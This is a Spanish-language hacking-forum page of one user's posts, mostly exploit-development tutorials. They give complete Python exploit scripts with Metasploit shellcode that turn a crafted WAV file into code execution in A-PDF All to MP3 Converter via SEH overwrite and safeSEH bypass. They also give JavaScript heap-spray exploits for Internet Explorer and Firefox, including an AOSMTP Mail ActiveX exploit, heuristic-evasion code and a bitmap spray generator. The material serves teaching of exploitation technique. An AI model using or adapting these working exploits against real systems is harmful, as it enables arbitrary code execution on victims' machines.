elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6 7 8
21  Seguridad Informática / Bugs y Exploits / Re: Tutorial - Explotando aplicaciones con Heap Spraying en: 20 Octubre 2013, 03:49 am
Yo lo hice cuando aun no estaban traducidos, que conste. Saludos.
22  Seguridad Informática / Bugs y Exploits / Re: Tutorial - Explotando aplicaciones con Heap Spraying en: 18 Octubre 2013, 05:28 am
Se agradece :)
23  Seguridad Informática / Bugs y Exploits / Re: En busca de PDF y Videos (Exploits). en: 11 Agosto 2013, 10:17 am
Tienes este foro tb :)

http://foro.overflowedminds.net/index.php
24  Seguridad Informática / Bugs y Exploits / Re: Tutorial - Explotando aplicaciones con Heap Spraying en: 7 Diciembre 2012, 23:27 pm
Gracias  :)
25  Seguridad Informática / Bugs y Exploits / Re: Tutorial - Explotando aplicaciones con Heap Spraying en: 15 Noviembre 2012, 05:25 am
?
26  Seguridad Informática / Bugs y Exploits / Creación de Exploits por corelanc0d3r traducidos por Ivinson en: 12 Octubre 2012, 18:07 pm
Buenas a todos,

Os dejo aquí unas traducciones que ha hecho un compañero de CrackSLatinoS. Espero que os guste. Aquí su blog http://crackingvenezolano.blogspot.com.es/


Creación de Exploits por corelanc0d3r traducidos por Ivinson


Creación de Exploits 1: Desbordamiento de Stack por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?4fxv630j8k8yfa1
  
Creación de Exploits 2: Desbordamiento de Stack  por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?zmncajjcizrz8jt
  
Creación de Exploits  3: SEH  por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?s96wcb9io6hlo58
  
Creación de Exploits 3b: SEH  por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?b7l8gk8ks05gj6y

Creacion de Exploits 4: De Exploit a Metasploit por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?7ksqbtio00xe6tk
  
Creación de Exploits 5:  Acelerar el Proceso con Plugins y módulos por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?39annkyp7ytrp3n
  
Exploits Evitando SEHOP por SYSDREAM IT Security Services traducido por Ivinson
http://www.mediafire.com/?dej4gpof630b788
  
Creación de Exploits 6: Cookies del Stack SafeSEH, SEHOP, HW DEP y ASLR  por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?cxo57jclbatkslt
  
Creación de Exploits 7: Unicode -  De 0×00410041 a la Calc  por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?78ibmzj44yjprcr

Creación de Exploits 8: Cacería de Huevos en Win32 por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?o2ohc8kyhh5gg2e


Creacion de Exploits 9: Introducción al Shellcoding en  Win32 por corelanc0d3r traducido por Ivinson
http://www.mediafire.com/?4ol62nftt0pj798

Creación de Exploits 10: Uniendo DEP con ROP - El Cubo de Rubik [TM] por corelanc0d3r traducido por Ivinson.
http://www.mediafire.com/?22ti3vrt6vn1raj

***Nuevo***
Creación de Exploits 11: Heap Spraying Desmitificado por corelanc0d3r traducido por Ivinson.

http://www.mediafire.com/?bm5gq1le3u5676w  


Saludos.
27  Seguridad Informática / Bugs y Exploits / Re: Tutorial - Stack overflow bypassing SEH "Structured Exception Handler" en: 8 Marzo 2012, 16:43 pm
AMPLIACIÓN - BYPASSING safeSEH



safeSEH se implementó para evitar el abuso de la explotación de SEH, en que consiste? Bueno pues la cadena de direcciones SEH handler son verificadas hasta llegar al final a la dirección 0xFFFFFFFF si una de ellas ha cambiado el programa termina sin haber hecho saltar al controlador de excepción, siendo asi la direccion pop pop ret no seria efectiva. Como solucionamos esto, haciendo saltos validos que hagan que caiga de nuevo en el puntero al proximo SEH handler y esta apuntar a nuestra shellcode. Los saltos validos son de tipo:

Citar
esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18

Lo que vamos a hacer es encontrar un opcode que salte a ebp+0x30 . Arrancamos Windbg y vamos a File -> Open Executable y escribimos el comando:

Código:
opcodes ff 55 30 = call dword ptr [ebp+0x30] y opcodes ff 65 30 = jmp dword ptr [ebp+0x30]
Entonces:
0:000> s 0100000 l 77fffff ff 55 30



Nos devuelve el offset 0x00990a23 que en el orden little Indian es "\x23\x0a\x99\x00". Ahora necesitaremos un salto que salte 6 bytes "\xeb\x06\x90\x90" (podria saltar 7 bytes hacia atras y ahi hacer un gran salto a nuestra shellcode hacia atrás). Entonces pikamos el codigo del exploit que quedaria asi.

Código:
#!/usr/bin/env python
# PoC
######################

import sys

basura = "\x41" * 4132
nseh = "\xeb\x06\x90\x90"
seh = "\x23\x0a\x99\x00"
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode= ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
"\x4e\x36\x43\x46\x42\x50\x5a")

exploit = basura + nseh + seh + shellcode
f = open("crash.wav","wb")
f.write(exploit)
f.close()
print ("[+] Hecho!!!")

Lo invocamos desde ms-dos creamos el archivo, lo abrimos con el programa y voilá





Hasta la proxima ;)
28  Seguridad Informática / Bugs y Exploits / Re: Tutorial - Stack overflow bypassing SEH "Structured Exception Handler" en: 8 Marzo 2012, 14:51 pm
el archivo crash.wav seria el exploit a alltomp3.exe?

Si, y gracias ;)
29  Seguridad Informática / Bugs y Exploits / Tutorial - Stack overflow bypassing SEH "Structured Exception Handler" en: 6 Marzo 2012, 14:37 pm
STACK OVERFLOW BYPASSING SEH
“STRUCTURED EXCEPTION HANDLER”




INTRODUCCIÓN
===========


En este caso vamos a ver como saltarnos la protección SEH.
Para seguir este tutorial necesitaremos:

-   Windbg: http://www.microsoft.com/whdc/devtools/debugging/default.mspx
-   Tener python instalado: http://www.python.org/download/
-   Metasploit: http://www.metasploit.com/download/
-   Cygwin: http://cygwin.com/install.html
-   A-PDF All to MP3 converter 2.0.0: http://www.exploit-db.com/application/16073/




EXPLICACIÓN
==========



Bueno a ver si me explico bien… Cuando programamos cualquier aplicación le podemos poner lo que son bloques de control de errores, los conocidos try {} catch() {}; si se cumple lo que hay dentro del try sigue el código después del catch, si hay un error salta a la excepción, o sea al catch y hace lo que haya dentro. Bien pues esto se nos aparece también en la pila, el controlador de excepciones. El propio sistema operativo tiene sus propios controladores de excepciones, ahora como es su funcionamiento en la pila, pues en cada marco de pila antes de llegar al ret hay un puntero al próximo marco de pila con su SEH handler y después de esta la dirección del propio SEH handler. Al final llega a una dirección tipo 0xFFFFFFFF que indica que es el ultimo SEH handler y allí se para. En su camino puede encontrarse con SEH handler del programa compilado y con SEH handler del sistema operativo.






Como explotar esto sin llegar a ningún controlador de excepción. Bueno la técnica es la siguiente. Como siempre llenar el buffer de basura, como no llegó al retorno valido saltara la excepción, el SE Handler (el siguiente), cuando llegamos al puntero lo sobrescribimos con un salto de 6 bytes hacia delante que se encontrará nuestra shellcode, después la siguiente dirección (el SEH handler actual, después de los 6 bytes) la reemplazamos por un pop pop ret que hará que quite dos direcciones y llegue al puntero del próximo SEH, o sea al salto de 6 bytes y de ahí a nuestra shellcode. Por qué ocurre esto? Porque cuando se encuentra un error el SEH crea un marco de pila nuevo con su código, o sea que apunta a un nuevo marco de pila, si hacemos un pop/pop/ret llegaremos al puntero del próximo SEH handler, en esp+8, que es nuestro salto de 6 bytes que nos mandará hacia la shellcode :)






Una vez entendido esto no os va a costar construir vuestros exploits.



MANOS A LA OBRA
=============




Vamos a poner a Windbg como just-time-in-debugger, vamos a su carpeta y ejecutamos windbg –I (como administrador).

Código:
C:\Program Files\Debugging Tools for Windows (x86)>windbg –I

Ahora vamos a fuzzear el programa, para esto ya tienes que tener el programa vulnerable instalado, en este caso A-PDF All to MP3 converter 2.0.0. Además de Metasploit. Arrancamos este último con msfconsole y utilizamos una de sus tools pattern_reate.rb (está en la carpeta tools).






Copiamos todos  los bytes y lo empleamos en un script de python con el siguiente código.

Código:
#!/usr/bin/env python
# Fuzz
#####################

import sys

fuzz = “Cadena de caracteres de pattern_create.rb”
f = open("crash.wav","wb")
f.write(fuzz)
f.close()
print ("[+] Hecho!!!")

Desde ms-dos lo invocamos y creamos el archivo

Código:
C:\Users\soez\Desktop>exploit.py
[+] Hecho!!!

Abrimos ahora Alltomp3.exe, nos pide el registro, le damos a try y después a next, arrastramos el archivo crash.wav al programa y windbg salta.




Para ver donde ha desbordado excribmos el comando !exchain y aparece el patrón de búsqueda





Cogemos el patrón de búsqueda y nos vamos de nuevo a Metasploit para sacar los caracteres de basura.

Código:
msf > ruby pattern_offset.rb 68463768
[*] exec: ruby pattern_offset.rb 68463768

4132

Des esto concluimos que el exploit seria: basura + jmp 6 bytes + pop pop ret + shellcode




ARMANDO EXPLOIT
==============



Usaremos python para el exploit como en el fuzz, pero antes necesitamos sacar una dirección que use el programa que contenga un pop pop ret. Como lo sacamos? También con Metasploit, pero esta opción solo se puede usar desde Linux porque Windows no entiende el archivo, por eso tenemos que instalarnos Cygwin, ya sabes ;) Ahora nos vamos a la ruta donde esta msfpescan que está dentro de la carpeta msf3. Antes de buscar bueno os digo, lo mejor es buscar el offset en el propio ejecutable porque nos aseguramos de que funcionará y además será universal independientemente del sistema operativo. Resulta que tenia la anterior versión de Metasploit que trae una consola de Cygwin así que no me hizo falta instalarlo. Ahora si ejecutamos msfpescan -p ruta_del_exe:




 

Nos han salido solo 4 direcciones y además con caracteres nulos ‘00’ (podría fallar el ataque), usamos la ultima y a ver que ocurre, la cogemos en el orden littel Indian "\x91\x6a\x5d\x00". Nos falta el salto de 6 bytes, esto se consigue con "\xeb\x06\x90\x90" eb para el opcode jmp y después los bytes que deseemos pero siempre en hexadecimal claro, seguido de dos nops. Ah falta lo más importante la shellcode, en este caso la ejecución de una calculadora. El exploit quedaría así.

Código:
#!/usr/bin/env python
# PoC
#####################

import sys

basura = "\x41" * 4132
nseh = "\xeb\x06\x90\x90"
seh = "\x91\x6a\x5d\x00"
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode= ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
          "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
                   "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
          "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
          "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
                   "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"
          "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
          "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
          "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
          "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
                   "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
                   "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
          "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"
          "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"
          "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"
          "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
             "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
          "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"
          "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
          "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"
          "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
          "\x4e\x36\x43\x46\x42\x50\x5a")
exploit = basura + nseh + seh + shellcode
f = open("crash.wav","wb")
f.write(exploit)
f.close()

Desde ms-dos lo invocamos y creamos el archivo

Código:
C:\Users\soez\Desktop>exploit.py
[+] Hecho!!!

Volvemos a abrir crash.wav con Alltomp3.exe y voilá :)






BIBLIOGRAFIA
==========


http://www.corelan.be:8800  <-- Recomendada (inglés)
http://www.exploit-db.com <--  Para practicar con más programas

Este manual se lo dedico a mi compa messerschmitt.


soez


Descarga en pdf:
https://mega.co.nz/#!Y54FQbwQ!XhbdH4Hge6OIJ2pZC52kjuLXMEuIITfTslYtdbKIZUs
30  Seguridad Informática / Bugs y Exploits / Tutorial - Explotando aplicaciones con Heap Spraying en: 6 Marzo 2012, 14:23 pm
EXPLOTANDO APLICACIONES CON HEAP SPRAYING




INTRODUCCIÓN
===========


En este tutorial voy a explicar cómo aprovecharnos de un bug en una aplicación cualquiera, explotándola aplicando la técnica heap spraying con la que conseguiremos ejecutar código arbitrario a nuestro antojo. Todo este artículo está muy resumido y basado en el tutorial de corelanc0d3r que dejo al final. Algunos de los códigos tienen pequeñas modificaciones.

 Para seguir este tutorial necesitaremos:




EXPLICACIÓN
==========


A cada hilo de una aplicación se le asigna una pequeña parte de pila, la parte estática que es la que hemos visto en los clásicos buffer overflows y la parte dinámica llamada heap que se usa en tiempo de ejecución, el propio programa puede pedir que se le asigne más espacio por ejemplo con la función VirtualAlloc(); que esta a su vez llamará a ntdll.dll para ejecutar el procedimiento. La gestión de la memoria dinámica heap también guarda en cache la memoria que se va liberando y así ese espacio se puede reasignar nuevamente a un nuevo espacio del mismo tamaño evitando así la fragmentación. Ahora, ¿En qué consiste el heap spraying? El heap spraying no es ninguna vulnerabilidad si no una técnica para explotarla, que consiste en rociar la pila con bloques de nops + shellcode repetidamente, así pues cuando obtenemos el control de eip y ponemos un puntero que apunte a esa parte predecible, es fácil caer a una zona donde se encuentre un trampolín de nops que nos lleve a la shellcode : )

 




APLICACIÓN
=========


Vamos a ver cómo hacer esto en los navegadores web, adobe pdf, adobe flash y no se queda simplente ahí … Para alojar bloques de código en la pila podemos usar arrays (la forma más sencilla) vamos a empezar con ie7 para ver el ejemplo más simple. Cogemos el siguiente código y lo abrimos con el navegador.



Código
  1. var shellcode = unescape('%u4141%u4141');
  2. var bigblock = unescape('%u9090%u9090');
  3. var headersize = 20;
  4. var slackspace = headersize + shellcode.length;
  5. while (bigblock.length < slackspace) bigblock += bigblock;
  6. var fillblock = bigblock.substring(0,slackspace);
  7. var block = bigblock.substring(0,bigblock.length - slackspace);
  8. while (block.length + slackspace < 0x40000) block = block + block + fillblock;
  9. var memory = new Array();
  10. for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
  11. </html>
  12.  


Cabe observar que al usar la función unescape(); está asignando un tamaño del doble de caracteres pero en tamaño real es la mitad (puedes usar un document.write(); para observarlo), por eso lo reducimos correctamente con esta línea  de código:

Código
  1. var block = bigblock.substring(0,bigblock.length - slackspace);

Abrimos windbg y atajamos (Attach) el proceso iexplorer.exe, después escribimos el comando !heap –stat –h 00150000 (windows xp/sp3). Y vemos:





El bloque donde se asignó esta relleno al 99% : )

Vemos todas las asignaciones con el siguiente comando !heap -flt s 0x7ffe0
 


Podemos buscar la cadena AAAA con el comando: s -a 0x00000000 L?0x7fffffff "AAAA" y de ahí deducimos:



Vemos como esta al final de los nops y empieza otro nuevo bloque.

Observamos todas las direcciones predecibles:

0x06060606, 0x07070707, 0x08080808, 0x09090909, 0x0a0a0a0a, 0x0b0b0b0b, 0x0c0c0c0c..



¿Se intuye la jugada verdad? Bien, vamos a explotar un bug en un ActiveX de la  aplicación vulnerable AOSMTP Mail, lo instaláis y después cogemos el siguiente código:

Código
  1. <!— Indicamos usar el ActiveX AOSMTP Mail -->
  2. <object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='target'></object>
  3. <script language='javascript' src="heapLib.js"></script>
  4. <script language='javascript'>
  5.  
  6. var heap = new heapLib.ie(0x10000);
  7.  
  8. // win32_exec - CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
  9. var code = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
  10.                    "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
  11.                    "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
  12.                    "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
  13.                    "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
  14.                    "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
  15.                    "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
  16.                    "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
  17.                    "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
  18.                    "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
  19.                    "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
  20.                    "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
  21.                    "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
  22.                    "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
  23.                    "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
  24.                    "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
  25.                    "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
  26.                    "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
  27.                    "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
  28.                    "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
  29.                    "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
  30.                    "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
  31.                    "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
  32.                    "%u314e%u7475%u7038%u7765%u4370");
  33.  
  34. // creamos un bloque de nops
  35. var nops = unescape('%u9090%u9090');
  36. while (nops.length < 0x800) nops += nops;
  37.  
  38. // le añadimos la shellcode al bloque
  39. var shellcode =  nops.substring(0, 0x800 - code.length) + code;
  40.  
  41. // creamos un bloque grande con el mismo bloque repetido
  42. while (shellcode.length < 0x40000) shellcode += shellcode;
  43.  
  44. // dejamos sitio a la cabecera
  45. var block = shellcode.substring(2, 0x40000 - 0x21);
  46.  
  47. // heap spray
  48. for (var i=0; i < 500; i++) {
  49. heap.alloc(block);
  50. }
  51.  
  52. // rellenamos el stack
  53. var payload = "";
  54. while(payload.length < 300) payload += "\x0a";
  55.  
  56. // trigger
  57. target.AddAttachments(payload);
  58.  
  59. </html>
  60.  


Notas:

1.   Para utilizar una shellcode al gusto usamos backtrack y ejecutamos por ejemplo: ./msfpayload windows/exec cmd=calc R | ./msfencode -e x86/shikata_ga_nai -t js_le  




Para listar las shellcodes ./msfpayload -l

2.   Utilizar la siguiente tabla para alinear:

OS & BrowserBlock syntax
XP SP3 – IE7block = shellcode.substring(2,0×10000-0×21);
XP SP3 – IE8block = shellcode.substring(2, 0×40000-0×21);
Vista SP2 – IE7block = shellcode.substring(0, (0×40000-6)/2);
Vista SP2 – IE8block = shellcode.substring(0, (0×40000-6)/2);
Win7 – IE8block = shellcode.substring(0, (0×80000-6)/2);
   

3.   Hay que testear varias veces con todos los posibles aterrizajes para escoger el mejor salto (0x06060606, 0x0a0a0a0a, 0x0c0c0c0c..)


Lo abrimos con ie7 y voilá  ;)



IE8

A partir de aquí haremos uso de la librería heapLib.js obligatoriamente (en ie7 no era necesario) que es usada para liberar el heap y que quede todo el espacio libre seguido. Usamos el siguiente código:

Código
  1. <script language='javascript' src="heapLib.js"></script>
  2. <script language='javascript'>
  3.  
  4. var heap = new heapLib.ie(0x10000);
  5.  
  6. // AAAAs
  7. var code = unescape("%u4141%u4141");
  8.  
  9. // creamos un bloque de nops
  10. var nops = unescape('%u9090%u9090');
  11.  
  12. while (nops.length < 0x1000) nops += nops;
  13.  
  14. // le añadimos la shellcode al bloque
  15. var shellcode =  nops.substring(0, 0x1000 - code.length) + code;
  16.  
  17. // creamos un bloque grande con el mismo bloque repetido
  18. while (shellcode.length < 0x40000) shellcode += shellcode;
  19.  
  20. // dejamos sitio a la cabecera
  21. var block = shellcode.substring(2, 0x40000 - 0x21);
  22.  
  23. // heap spray
  24. for (var i=0; i < 500; i++) {
  25. heap.alloc(block);
  26. }
  27. </script> </html>
  28.  


Observamos con windbg la pila..





También !heap –stat –h 00150000




!heap -flt s 0x7ffc0 …





Buscamos la cadena de “AAAA”s con el comando: s -a 0x00000000 L?0x7fffffff "AAAA"





IE9

Bueno aquí la cosa se complica un poco, ya que ie9 trae incorporada la protección DEP que me falta escribir el artículo sobre este tema, pero si vamos a ver “pequeñas protecciones” que también trae y como saltarlas . Trabajaremos con windows/vista sp2 para ie9.



Nozzle & BuBBle

Nozzle consiste en una pequeña heurística para detectar instrucciones validas en la pila, por ejemplo el uso de nops, el carácter 0x90 (Microsoft).

BuBBle consiste en detectar bloques iguales en la pila, nops + shellcode, nops + shellcode, etc.. (Firefox).

Nos las saltaremos haciendo de trineo una cadena de caracteres aleatoriamente en cada bloque que nos harán resbalar también hasta la shellcode : ). Usamos el siguiente código.


Código
  1. <!— Indicamos usar el ActiveX AOSMTP Mail -->
  2. <object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='target'></object>
  3. <script language='javascript' src="heapLib.js"></script>
  4. <script language='javascript'>
  5.  
  6. function randomblock(blocksize)
  7. {
  8. var theblock = "";
  9. for (var i = 0; i < blocksize; i++)
  10. {
  11. theblock += Math.floor(Math.random()*13)+47;
  12. }
  13. return theblock;
  14. }
  15.  
  16. function tounescape(block)
  17. {
  18. var blocklen = block.length;
  19. var unescapestr = "";
  20. for (var i = 0; i < blocklen-1; i=i+4)
  21. {
  22. unescapestr += "%u" + block.substring(i,i+4);
  23. }
  24. return unescapestr;
  25. }
  26.  
  27. var heap = new heapLib.ie(0x10000);
  28.  
  29. // AAAAs
  30. var code = unescape("%u4141%u4141");
  31.  
  32. for (var i=0; i < 500; i++) {  
  33. // creamos un bloque de nops
  34. var padding = unescape(tounescape(randomblock(0x100)));
  35. while (padding.length < 0x800) padding += padding;
  36.  
  37. // le añadimos la shellcode al bloque
  38. var shellcode =  padding.substring(0, 0x800 - code.length) + code;
  39.  
  40. // creamos un bloque grande con el mismo bloque repetido
  41. while (shellcode.length < 0x20000) shellcode += shellcode;
  42.  
  43. // dejamos sitio a la cabecera
  44. var block = shellcode.substring(0, (0x40000 - 6)/2);
  45.  
  46. heap.alloc(block);
  47. }
  48.  
  49.  
  50. // rellenamos el stack
  51. var payload = "";
  52. while(payload.length < 300) payload += "\x0a";
  53.  
  54. // trigger
  55. target.AddAttachments(payload);
  56.  
  57.  

Nota: Hay que hacer uso del ActiveX.

Buscamos la shellcode con el comando d (dump).




Vemos que esta relleno de caracteres que actuarán de nops para llegar a la shellcode y las 4 As.


FIREFOX 9.0.1


Lo mismo, cogemos el siguiente código (windows/xp sp3):

Código
  1. <script language='javascript'>
  2. function randomblock(blocksize)
  3. {
  4. var theblock = "";
  5. for (var i = 0; i < blocksize; i++)
  6. {
  7. theblock += Math.floor(Math.random()*13)+47;
  8. }
  9. return theblock.toString();
  10. }
  11.  
  12. function tounescape(block)
  13. {
  14. var blocklen = block.length;
  15. var unescapestr = "";
  16. for (var i = 0; i < blocklen-1; i=i+4)
  17. {
  18. unescapestr += "%u" + block.substring(i,i+4);
  19. }
  20. return unescapestr;
  21. }
  22. // AAAAs
  23. var code = unescape("%u4141%u4141");
  24.  
  25. for (var i=0; i < 500; i++) {
  26.  
  27. // creamos un bloque
  28. var randomstring = "";
  29. for(var j=0; j < 4; j++){
  30. randomstring += randomblock(0x100);
  31. }
  32. var padding = unescape(tounescape(randomstring));
  33. while (padding.length < 0x800) padding += padding;
  34.  
  35. // le añadimos la shellcode al bloque
  36. var shellcode =  padding.substring(0, 0x800 - code.length) + code;
  37.  
  38. // creamos un bloque grande con el mismo bloque repetido
  39. while (shellcode.length < 0x20000) shellcode += shellcode;
  40.  
  41. // dejamos sitio a la cabecera
  42. var block = shellcode.substring(0, (0x40000 - 6)/2);
  43.  
  44. // spray
  45. varname = "var" + randomstring;
  46. thisvarname = "var " + varname + "= '" + block +"';";
  47. eval(thisvarname);
  48. }
  49. </html>
  50.  


Buscamos la shellcode con s -a 0x00000000 L?0x7fffffff "AAAA" y después deducimos..




Vemos las direcciones predecibles…




HEAP SPRAYING CON IMÁGENES



Esta técnica también se puede realizar con imágenes, publicada por Greg MacManus y Michael Sutton en el 2006 fue retomada por Moshe Ben Abu en el 2010 en la presentación de OSWAP. Vamos a backtrack con el siguiente código:

Código
  1. # written by Moshe Ben Abu (Trancer) of www.rec-sec.com
  2.  
  3. bmp_width = ARGV[0].to_i
  4. bmp_height = ARGV[1].to_i
  5. bmp_files_togen = ARGV[2].to_i
  6.  
  7. if (ARGV[0] == nil)
  8. bmp_width = 1024
  9. end
  10.  
  11. if (ARGV[1] == nil)
  12. bmp_height = 768
  13. end
  14.  
  15. if (ARGV[2] == nil)
  16. bmp_files_togen = 128
  17. end
  18.  
  19. # size of bitmap file calculation
  20. bmp_header_size = 54
  21. bmp_raw_offset = 40
  22. bits_per_pixel = 24
  23. bmp_row_size = 4 * ((bits_per_pixel.to_f * bmp_width.to_f) / 32)
  24. bmp_file_size = 54 + (4 * ( bits_per_pixel ** 2 ) ) + ( bmp_row_size * bmp_height )
  25.  
  26. bmp_file = "\x00" * bmp_file_size
  27. bmp_header = "\x00" * bmp_header_size
  28. bmp_raw_size = bmp_file_size - bmp_header_size
  29.  
  30. # generate bitmap file header
  31. bmp_header[0,2] = "\x42\x4D" # "BM"
  32. bmp_header[2,4] = [bmp_file_size].pack('V') # size of bitmap file
  33. bmp_header[10,4] = [bmp_header_size].pack('V') # size of bitmap header (54 bytes)
  34. bmp_header[14,4] = [bmp_raw_offset].pack('V') # number of bytes in the bitmap header from here
  35. bmp_header[18,4] = [bmp_width].pack('V') # width of the bitmap (pixels)
  36. bmp_header[22,4] = [bmp_height].pack('V') # height of the bitmap (pixels)
  37. bmp_header[26,2] = "\x01\x00" # number of color planes (1 plane)
  38. bmp_header[28,2] = "\x18\x00" # number of bits (24 bits)
  39. bmp_header[34,4] = [bmp_raw_size].pack('V') # size of raw bitmap data
  40.  
  41. bmp_file[0,bmp_header.length] = bmp_header
  42.  
  43. bmp_file[bmp_header.length,bmp_raw_size] = "\x0C" * bmp_raw_size
  44.  
